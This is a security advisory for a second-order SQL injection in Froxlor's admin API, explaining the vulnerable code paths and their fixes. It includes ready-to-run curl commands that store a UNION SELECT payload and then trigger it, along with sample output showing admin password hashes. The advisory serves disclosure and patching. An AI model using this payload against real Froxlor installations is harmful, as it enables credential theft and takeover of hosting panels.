CVE-2026-54348: Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration

Summary

A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the paneladmins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.

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Details

The vulnerability spans two code locations that form a store-then-trigger chain.

Stage 1 — Unsanitized array stored as JSON — lib/Froxlor/Api/Commands/Admins.php:251,358

php $ipaddress = $this->getParam('ipaddress', true, -1); // No type enforcement or content validation on $ipaddress. // PHP evaluates (isarray([...]) && nonemptyarray > 0) as true, // so any attacker-controlled array is JSON-encoded and stored verbatim. 'ip' => empty($ipaddress) ? "" : (isarray($ipaddress) && $ipaddress > 0 ? jsonencode($ipaddress) // ← attacker payload written to paneladmins.ip : -1),

The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.

Stage 2 — JSON payload imploded directly into SQL — lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77

php if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) { // jsondecode restores the array; implode joins elements with no casting or escaping $ipwhere = "WHERE id IN (" . implode(", ", jsondecode($this->getUserDetail('ip'), true)) . ")"; } $resultstmt = Database::prepare( "SELECT FROM panelipsandports " . $ipwhere . ... ); // Final SQL: SELECT FROM panelipsandports WHERE id IN (<PAYLOAD>)

The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.

Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.

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PoC <img width="2452" height="1476" alt="image" src="https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95" />

Prerequisites: Valid Froxlor admin API key with changeserversettings = 1.

Step 1 — Poison: store the UNION SELECT payload via Admins.add

bash curl -s -u "APIKEY:SECRET" http://TARGET/api.php \ -H "Content-Type: application/json" \ -d '{ "command": "Admins.add", "params": { "name": "x", "newloginname": "eviladmin", "email": "x@x.local", "adminpassword": "Passw0rd!123", "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -"] } }'

The ip column of paneladmins for eviladmin now contains: ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -"]

Step 2 — Trigger: call IpsAndPorts.listing as the poisoned account

No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:

http://TARGET/adminindex.php?page=ipsandports

Or directly via API:

bash curl -s -u "EVILAPIKEY:EVILSECRET" http://TARGET/api.php \ -H "Content-Type: application/json" \ -d '{"command":"IpsAndPorts.listing"}'

Confirmed output from live instance (localhost:8290):

json { "data": { "list": [ { "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" }, { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" } ] } }

The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.

Minimum reproduction — two CMD single-line commands:

Step 1: poison (run once with any admin API key that has changeserversettings=1):

cmd curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"newloginname\":\"poc\",\"email\":\"x@x.local\",\"adminpassword\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -\"]}}"

Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):

cmd curl -su "POCAPIKEY:POCSECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"

Confirmed output from live instance (localhost:8290) — step 2 alone:

cmd curl -su "evilkeyabc123:evilsecretxyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"

json { "data": { "list": [ { "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" }, { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" } ] } }

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Impact

Type: Second-Order SQL Injection (UNION-based)

Who is impacted: Any Froxlor installation with the API enabled and at least one admin account that has changeserversettings = 1. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.

Consequences:

- Full credential dump — all admin and customer login names and bcrypt password hashes are extractable in a single request. - Lateral movement — cracked hashes allow login to other admin accounts or customer accounts. - Data exfiltration — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys. - Privilege escalation — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.

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Fix

Option A (recommended) — Integer-cast all elements before implode:

php // lib/Froxlor/Api/Commands/IpsAndPorts.php:72 $ipids = arraymap('intval', jsondecode($this->getUserDetail('ip'), true)); $ipwhere = "WHERE id IN (" . implode(", ", $ipids) . ")";

Option B — Validate at storage time in Admins.add / Admins.update:

php // lib/Froxlor/Api/Commands/Admins.php if (isarray($ipaddress)) { $ipaddress = arrayfilter($ipaddress, 'isnumeric'); } 'ip' => empty($ipaddress) ? "" : (isarray($ipaddress) && count($ipaddress) > 0 ? jsonencode(arraymap('intval', $ipaddress)) : -1),

Apply the same fix to the identical pattern in Domains.php:1016.

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